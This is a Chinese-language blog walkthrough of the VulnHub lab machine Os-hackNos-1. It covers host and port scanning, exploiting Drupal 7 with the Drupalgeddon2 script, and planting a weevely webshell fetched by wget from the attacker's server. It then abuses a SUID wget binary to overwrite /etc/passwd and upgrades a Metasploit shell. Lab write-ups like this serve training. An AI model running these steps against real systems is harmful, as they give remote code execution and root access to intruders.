Os-hackNos-1

一、环境搭建

实验主机:kali-linux 2023 虚拟机(VM)

实验靶机:Os-hackNos-1 靶机(VM)

实验网络:桥接模式

flag:1.普通用户的user.txt;2.root用户的user.txt

技能:漏洞利用 | web应用 | 暴力破解 | 权限提升

靶机下载:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

二、信息收集

主机发现:

  • 确认自己的信息
1 ifconfig

  • 探测网段存活主机
1 nmap -sP 192.168.133.0/24

  • 也可以使用如下命令
1 netdiscover -i eth0 -r 192.168.133.0/24

端口扫描:

  • 探测操作系统及软件版本信息
1 nmap -sTV -p- -Pn 192.168.133.97

  • 经过探测发现开放22端口和80端口
1 22 端口 :SSH 服务端口,可能存在弱口令和暴力破解
2 80 端口 :HTTP 端口,可以通过目录扫描,去发现网站目录或者网站源码泄露或者备份文件泄露
  • 访问一下80端口

目录探测:

  • 探测一下网站目录信息
1 dirb http://192.168.133.97

  • 可以看到网站CMS为drupal7,存在远程代码执行的漏洞,使用kali的msf模块,搜索drupal对应的exp

三、漏洞发现

  • CMS版本为drupal7,搜索一下关于该版本的CMS漏洞

四、漏洞利用

1 将脚本拷贝下来
2 git clone https://github.com/dreadlocked/Drupalgeddon2.git
3 
4 在运行脚本前,需要预装依赖包 highline
5 gem install highline
6 
7 执行脚本
8 ruby drupalgeddon2.rb http://192.168.133.97/drupal/

  • 查看权限

  • 查看目录文件

五、权限提升

利用weevely(kali 菜刀)

  • 使用weevely 生成木马,再将木马上传到靶机上
1 生成木马:
2 weevely generate hello ./door.php
3 
4 打开kali web服务器:
5 python -m http.server 80
6 
7 在靶机上使用wget工具下载 kali 上生成的木马文件:
8 wget http://192.168.133.125:80/door.php

  • 使用weevely生成的木马内容

  • 连接靶机,注意此处权限和路径问题会导致连接失败
1 weevely http://192.168.133.97/drupal/door.php hello

浏览用户目录

  • 查看是否存在有用的信息
1 cd /home
2 ls -lh
3 cd james/
4 ls -lh
5 cat user.txt

  • 在 james 用户目录下发现一串MD5哈希值,解码失败
1 bae11ce4f67af91fa58576c1da2aad4b
  • 浏览一下网站根目录,发现其他文件

  • 解码之后再次使用Brainfuck解码

  • 得到:james:Hacker@4514

切换用户

  • 尝试切换用户,发现不能切换用户

suid 提权

  • 检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)
1  audit_suidsgid -only-suid /

  • 看到拥有wget的权限,这里的思路是把/etc/passwd的文件下载下来,然后添加一个具有root权限的用户,再传回去覆盖它。首先进行创建一个用户
1 openssl passwd -1 -salt 账号 密码

  • 搭建web服务器,把靶机上的/etc/passwd下载下来

  • 然后将刚才创建的用户加入进去,并在kali上开一个web服务器,用靶机连接下载已经更改的/ect/passwd去覆盖掉原来的文件即可

  • 然后查看靶机上是否有新增账户,发现lxx账号信息即创建成功

  • 切换失败,此方法行不通

利用metasploit

  • 搜索漏洞组件

  • 选择使用的工具模块,并设置相关参数

  • 查看设置参数

  • 攻击成功后,显示没有交互式shell,需要提升为交互式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"

  •  得到权限后切换用户,再次失败

错误总结

  • 最终结合经验发现,写入新建的账户有问题,即覆盖的root权限的用户创建失败

  • 更改为admin账户后,在metasploit获得权限后即可切换用户

  • 最后进入/root 目录下查看root.txt 完成测试

posted @ 2024-03-28 16:09  lxl3344  阅读(23)  评论(0编辑  收藏  举报